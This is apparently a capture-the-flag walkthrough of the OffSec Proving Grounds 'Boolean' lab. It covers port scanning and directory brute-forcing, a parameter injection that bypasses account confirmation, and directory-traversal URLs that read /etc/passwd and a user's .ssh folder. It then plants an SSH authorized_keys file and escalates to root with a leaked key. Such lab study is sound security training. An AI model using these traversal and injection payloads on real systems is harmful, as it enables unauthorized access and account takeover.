Initial Reconnaissance
We start by scanning all TCP ports on the target to find any open services. The -A
flag enables aggressive scan options like version detection, script scanning, and OS fingerprinting.
sudo nmap -A -sC -sV -T4 192.168.222.231 -p- --open -v -oN tcp_scan.nmap
Scan result:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 37:80:01:4a:43:86:30:c9:79:e7:fb:7f:3b:a4:1e:dd (RSA)
| 256 b6:18:a1:e1:98:fb:6c:c6:87:55:45:10:c6:d4:45:b9 (ECDSA)
|_ 256 ab:8f:2d:e8:a2:04:e7:b7:65:d3:fe:5e:93:1e:03:67 (ED25519)
80/tcp open http
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-title: Boolean
|_Requested resource was http://192.168.222.231/login
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns:
| HTTP/1.1 400 Bad Request
| FourOhFourRequest, GetRequest, HTTPOptions:
| HTTP/1.0 403 Forbidden
| Content-Type: text/html; charset=UTF-8
|_ Content-Length: 0
33017/tcp open http Apache httpd 2.4.38 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Development
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.95%I=7%D=5/26%Time=68340F74%P=x86_64-pc-linux-gnu%r(GetR
SF:equest,55,"HTTP/1\.0\x20403\x20Forbidden\r\nContent-Type:\x20text/html;
SF:\x20charset=UTF-8\r\nContent-Length:\x200\r\n\r\n")%r(HTTPOptions,55,"H
SF:TTP/1\.0\x20403\x20Forbidden\r\nContent-Type:\x20text/html;\x20charset=
SF:UTF-8\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,1C,"HTTP/1\.1\x20
SF:400\x20Bad\x20Request\r\n\r\n")%r(X11Probe,1C,"HTTP/1\.1\x20400\x20Bad\
SF:x20Request\r\n\r\n")%r(FourOhFourRequest,55,"HTTP/1\.0\x20403\x20Forbid
SF:den\r\nContent-Type:\x20text/html;\x20charset=UTF-8\r\nContent-Length:\
SF:x200\r\n\r\n")%r(GenericLines,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
SF:n\r\n")%r(RPCCheck,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(D
SF:NSVersionBindReqTCP,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(
SF:DNSStatusRequestTCP,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(
SF:Help,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(SSLSessionReq,1
SF:C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(TerminalServerCookie,
SF:1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(TLSSessionReq,1C,"HT
SF:TP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(Kerberos,1C,"HTTP/1\.1\x20
SF:400\x20Bad\x20Request\r\n\r\n")%r(SMBProgNeg,1C,"HTTP/1\.1\x20400\x20Ba
SF:d\x20Request\r\n\r\n")%r(LPDString,1C,"HTTP/1\.1\x20400\x20Bad\x20Reque
SF:st\r\n\r\n")%r(LDAPSearchReq,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n
SF:\r\n")%r(LDAPBindReq,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r
SF:(SIPOptions,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(LANDesk-
SF:RC,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(TerminalServer,1C
SF:,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(NCP,1C,"HTTP/1\.1\x204
SF:00\x20Bad\x20Request\r\n\r\n")%r(NotesRPC,1C,"HTTP/1\.1\x20400\x20Bad\x
SF:20Request\r\n\r\n")%r(JavaRMI,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
SF:n\r\n")%r(WMSRequest,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r
SF:(oracle-tns,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(ms-sql-s
SF:,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(afp,1C,"HTTP/1\.1\x
SF:20400\x20Bad\x20Request\r\n\r\n")%r(giop,1C,"HTTP/1\.1\x20400\x20Bad\x2
SF:0Request\r\n\r\n");
Aggressive OS guesses: Linux 5.0 - 5.14 (98%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (97%), Linux 4.15 - 5.19 (94%), Linux 2.6.32 - 3.13 (93%), Linux 3.10 - 4.11 (91%), Linux 5.0 (91%), OpenWrt 22.03 (Linux 5.10) (91%), Linux 3.2 - 4.14 (90%), Linux 2.6.32 - 3.10 (90%), MikroTik RouterOS 6.36 - 6.48 (Linux 3.3.5) (90%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 11.151 days (since Wed May 14 23:13:58 2025)
Network Distance: 4 hops
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 126.30 ms 192.168.45.1
2 126.29 ms 192.168.45.254
3 126.41 ms 192.168.251.1
4 126.44 ms 192.168.222.231
NSE: Script Post-scanning.
Initiating NSE at 02:51
Completed NSE at 02:51, 0.00s elapsed
Initiating NSE at 02:51
Completed NSE at 02:51, 0.00s elapsed
Initiating NSE at 02:51
Completed NSE at 02:51, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 151.13 seconds
Raw packets sent: 131226 (5.777MB) | Rcvd: 2059 (488.228KB)
Key flags explained:
p-
: Scans all 65,535 TCP portssC
: Runs default scripts (useful for basic enumeration)sV
: Detects service versionsA
: Aggressive scan (includes OS detection, version detection, traceroute, and script scanning)oN
: Outputs results in a readable text file
Key findings:
- Port 22: OpenSSH 7.9 - SSH service
- Port 80: HTTP web server (with a login page)
- Port 33017: Another HTTP service running Apache (labelled “Development”)
Enumerate Web Directories with Gobuster
We use Gobuster to brute-force possible web directories using a built-in wordlist.
gobuster dir -u http://192.168.222.231 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

Results:
/login
: A login form/register
: A registration page
Register a User
Navigating to http://192.168.222.231/login
, we see a login page.

Navigating to http://192.168.222.231/register
, we see a register page.

Register a test user with the following details:
- Username:
test
- Email:
test@test.com
- Password:
test123

After registering, the app says a confirmation email has been sent but we don’t actually have access to that inbox.

Bypass Email Confirmation (Burp Suite)
When we try to login using the credentials we registered, we are prompted to confirm our account by clicking on the confirmation link sent to our email (test@test.com).

Using the Burpsuite, intercept the request of the Change mail. and send it to the repeater.
In the response, we can see a parameter confirmed: false
.

Modify the request by appending the following:
&user%5Bconfirmed%5D=True

Send the request. Now you can log in using your test credentials.
Explore File Uploads
When we log in as our test
user, we are directed to the File Manager.

Try uploading .php
and .txt
files to test what files are allowed.

When you upload and click on a file, the URL changes like this:
/?cwd=&file=test.txt&download=true

This tells us the app likely supports downloading files from specific paths.
Exploiting Local File Inclusion (LFI)
LFI lets us trick the server into loading files it shouldn’t. Let’s try pulling the system password file.
Change the current working directory to /etc
using directory traversal and attempt to download the passwd
file.
http://192.168.203.231/?cwd=../../../../../etc&file=passwd&download=true


This works! We’re able to see system users. One user is named remi
.
Next, let’s navigate to Remi’s home directory and attempt to access .ssh
directory within it:
http://192.168.203.231/?cwd=../../../../../home/remi&file=.ssh&download=true

Now we have access of the .ssh
folder and we can upload the authorized_keys
.
SSH Access as Remi
Generate an SSH keys in the Kali Machine:
ssh-keygen
cp /home/kali/.ssh/id_ed25519.pub authorized_keys
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/kali/.ssh/id_ed25519):
/home/kali/.ssh/id_ed25519 already exists.
Overwrite (y/n)? y
Enter passphrase for "/home/kali/.ssh/id_ed25519" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kali/.ssh/id_ed25519
Your public key has been saved in /home/kali/.ssh/id_ed25519.pub
The key fingerprint is:
SHA256:UQefZvy+n+nHztbKRFWudhga4R18Wc2cFA/YvWRpu68 kali@kali
The key's randomart image is:
+--[ED25519 256]--+
| o.o++*X|
| . =.+o@O|
| . O *.*|
| . o + B |
| S . * o|
| + o |
| o.o|
| o oO|
| EX=|
+----[SHA256]-----+
Upload authorized_keys
to /home/remi/.ssh/
via the file manager.

Connect via SSH using your private key:
ssh remi@192.168.203.231 -i id_ed25519
We successfully gained access as the user remi
. The user flag local.txt
is located in the /home/remi
directory.

Privilege Escalation to Root
Look in the ~/.ssh/keys/
directory:
ls /home/remi/.ssh/keys/
There is a private key for the root user here. Use it to SSH into root
locally:
ssh -o "IdentitiesOnly=yes" -i ~/.ssh/keys/root root@127.0.0.1

Now you are root! The root flag proof.txt
is present in the /root
directory.
References
- https://medium.com/@raj.patel33605/boolean-offsec-proving-groundswriteup-8f626bbb1b3f
- https://medium.com/@tipstosecure/boolean-lab-walkthrough-offsec-proving-grounds-881574d0e57c
- https://medium.com/@gleasonbrian/offsec-proving-grounds-boolean-writeup-9c7f5b963559
- https://readmedium.com/boolean-lab-walkthrough-offsec-proving-grounds-881574d0e57c